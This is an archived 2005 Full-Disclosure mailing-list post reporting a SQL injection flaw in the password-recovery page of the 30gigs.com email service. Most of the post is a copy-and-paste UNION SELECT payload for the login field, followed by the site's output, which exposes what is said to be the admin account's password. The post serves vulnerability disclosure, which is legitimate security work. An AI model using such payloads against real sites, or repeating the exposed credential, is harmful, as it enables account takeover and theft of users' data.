[Full-disclosure] 30gigs SQL injection vulnerability
From: cumhur onat (cumhuronat_at_gmail.com)
Date: 11/16/05
- Previous message: 6ackpace: "Re: [Full-disclosure] another filename bypass vulnerability - from cmd.exe"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Date: Wed, 16 Nov 2005 15:16:24 +0200 To: full-disclosure@lists.grok.org.uk
I found a sql injection vulnerability, which leads to password disclosure in
30gigs.com <http://30gigs.com> email service.
The vulnerability exists in http://www.30gigs.com/getpassword/ page due to
lack of validation of user submitted data.
Proof of Concept:
enter http://www.30gigs.com/getpassword/
and copy & paster this code in the Login field, finally submit the form.
not_existant' union select
1,1,1,1,1,UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from users where
userLogin='admin
it will give an output like below, in which "runsit" corresponds to the
password of account "admin"
We have sent the password for your not_existant' union select
1,1,1,1,1,UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from users where
userLogin='admin@30gigs.com account to runsit
The site has been notified about the vulnerability 2 weeks ago, but no
response was taken.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
- Previous message: 6ackpace: "Re: [Full-disclosure] another filename bypass vulnerability - from cmd.exe"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
